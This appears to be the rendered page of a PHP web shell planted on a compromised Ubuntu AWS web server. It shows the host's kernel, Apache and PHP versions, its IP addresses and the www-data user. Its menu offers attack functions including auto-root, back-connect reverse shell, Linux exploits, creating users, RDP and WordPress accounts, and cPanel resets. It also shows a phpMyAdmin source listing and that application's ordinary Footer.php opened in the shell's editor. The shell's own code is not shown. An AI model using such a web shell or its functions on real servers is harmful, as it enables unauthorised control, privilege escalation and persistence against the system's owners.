Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.222.223.25
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
var /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
Application.php
6.31
KB
-rw-r--r--
BrowseForeigners.php
10.24
KB
-rw-r--r--
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Column.php
363
B
-rw-r--r--
ColumnFull.php
500
B
-rw-r--r--
Config.php
38.1
KB
-rw-r--r--
Console.php
3.14
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
CreateAddField.php
14.6
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FileListing.php
3.04
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Font.php
4.26
KB
-rw-r--r--
Footer.php
6.82
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
Index.php
14.45
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
InternalRelations.php
17
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Language.php
4.12
KB
-rw-r--r--
LanguageManager.php
22.27
KB
-rw-r--r--
Linter.php
4.89
KB
-rw-r--r--
ListDatabase.php
4.93
KB
-rw-r--r--
Logging.php
2.79
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
Normalization.php
39.54
KB
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Operations.php
34.63
KB
-rw-r--r--
ParseAnalyze.php
2.23
KB
-rw-r--r--
Pdf.php
3.89
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Profiling.php
2.17
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Sanitize.php
8.62
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Session.php
7.88
KB
-rw-r--r--
ShowGrants.php
2.06
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
SqlQueryForm.php
6.93
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemColumn.php
267
B
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
Types.php
23.88
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
UserPassword.php
8.25
KB
-rw-r--r--
UserPreferences.php
10.22
KB
-rw-r--r--
UserPrivileges.php
520
B
-rw-r--r--
UserPrivilegesFactory.php
8.61
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
VersionInformation.php
7.18
KB
-rw-r--r--
ZipExtension.php
10.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Footer.php
<?php /** * Used to render the footer of PMA's pages */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\ConfigStorage\Relation; use PhpMyAdmin\Error\ErrorHandler; use PhpMyAdmin\Routing\Routing; use Traversable; use function basename; use function file_exists; use function in_array; use function is_array; use function is_object; use function is_scalar; use function json_encode; use function json_last_error; /** * Class used to output the footer */ class Footer { /** * Scripts instance */ private Scripts $scripts; /** * Whether we are servicing an ajax request. */ private bool $isAjax = false; /** * Whether to only close the BODY and HTML tags * or also include scripts, errors and links */ private bool $isMinimal = false; /** * Whether to display anything */ private bool $isEnabled = true; private Relation $relation; public function __construct(private readonly Template $template, private readonly Config $config) { $this->scripts = new Scripts($this->template); $this->relation = new Relation(DatabaseInterface::getInstance()); } /** * @return array<string, string> * @psalm-return array{revision: string, revisionUrl: string, branch: string, branchUrl: string}|[] */ private function getGitRevisionInfo(): array { $info = []; if (@file_exists(ROOT_PATH . 'revision-info.php')) { /** @psalm-suppress MissingFile,UnresolvableInclude */ $info = include ROOT_PATH . 'revision-info.php'; } return is_array($info) ? $info : []; } /** * Remove recursions and iterator objects from an object * * @param mixed $object Object to clean * @param mixed[] $stack Stack used to keep track of recursion, need not be passed for the first time * * @return mixed Reference passed object */ private static function removeRecursion(mixed &$object, array $stack = []): mixed { if ((is_object($object) || is_array($object)) && $object) { if ($object instanceof Traversable) { $object = '***ITERATOR***'; } elseif (! in_array($object, $stack, true)) { $stack[] = $object; // @phpstan-ignore-next-line foreach ($object as &$subObject) { self::removeRecursion($subObject, $stack); } } else { $object = '***RECURSION***'; } } return $object; } /** * Renders the debug messages */ public function getDebugMessage(): string { $retval = '\'false\''; if ($this->config->config->debug->sql && empty($_REQUEST['no_debug']) && ! empty($_SESSION['debug'])) { // Remove recursions and iterators from $_SESSION['debug'] self::removeRecursion($_SESSION['debug']); $retval = (string) json_encode($_SESSION['debug']); $_SESSION['debug'] = []; return json_last_error() !== 0 ? '\'false\'' : $retval; } $_SESSION['debug'] = []; return $retval; } /** * Returns the url of the current page */ public function getSelfUrl(): string { $params = []; $params['route'] = Routing::$route; if (Current::$database !== '') { $params['db'] = Current::$database; } if (Current::$table !== '') { $params['table'] = Current::$table; } $params['server'] = Current::$server; if (isset($_REQUEST['single_table'])) { $params['single_table'] = $_REQUEST['single_table']; } return basename(Core::getEnv('SCRIPT_NAME')) . Url::getCommonRaw($params); } /** * Renders the link to open a new page */ public function getErrorMessages(): string { $retval = ''; $errorHandler = ErrorHandler::getInstance(); if ($errorHandler->hasDisplayErrors()) { $retval .= $errorHandler->getDispErrors(); } /** * Report php errors */ $errorHandler->reportErrors(); return $retval; } /** * Saves query in history */ private function setHistory(): void { if ( ( isset($_REQUEST['no_history']) && is_scalar($_REQUEST['no_history']) && (string) $_REQUEST['no_history'] !== '' ) || ! empty($GLOBALS['error_message']) || empty($GLOBALS['sql_query']) || ! DatabaseInterface::getInstance()->isConnected() ) { return; } $this->relation->setHistory( Current::$database, Current::$table, $this->config->selectedServer['user'], $GLOBALS['sql_query'], ); } /** * Disables the rendering of the footer */ public function disable(): void { $this->isEnabled = false; } /** * Set the ajax flag to indicate whether * we are servicing an ajax request * * @param bool $isAjax Whether we are servicing an ajax request */ public function setAjax(bool $isAjax): void { $this->isAjax = $isAjax; } /** * Turn on minimal display mode */ public function setMinimal(): void { $this->isMinimal = true; } /** * Returns the Scripts object * * @return Scripts object */ public function getScripts(): Scripts { return $this->scripts; } /** * Renders the footer */ public function getDisplay(): string { $this->setHistory(); if ($this->isEnabled) { if (! $this->isAjax && ! $this->isMinimal) { if (Core::getEnv('SCRIPT_NAME') !== '') { $url = $this->getSelfUrl(); } $this->scripts->addCode('window.Console.debugSqlInfo = ' . $this->getDebugMessage() . ';'); $errorMessages = $this->getErrorMessages(); $scripts = $this->scripts->getDisplay(); if ($this->config->config->debug->demo) { $gitRevisionInfo = $this->getGitRevisionInfo(); } $footer = Config::renderFooter(); } return $this->template->render('footer', [ 'is_ajax' => $this->isAjax, 'is_minimal' => $this->isMinimal, 'self_url' => $url ?? null, 'error_messages' => $errorMessages ?? '', 'scripts' => $scripts ?? '', 'is_demo' => $this->config->config->debug->demo, 'git_revision_info' => $gitRevisionInfo ?? [], 'footer' => $footer ?? '', ]); } return ''; } }
Close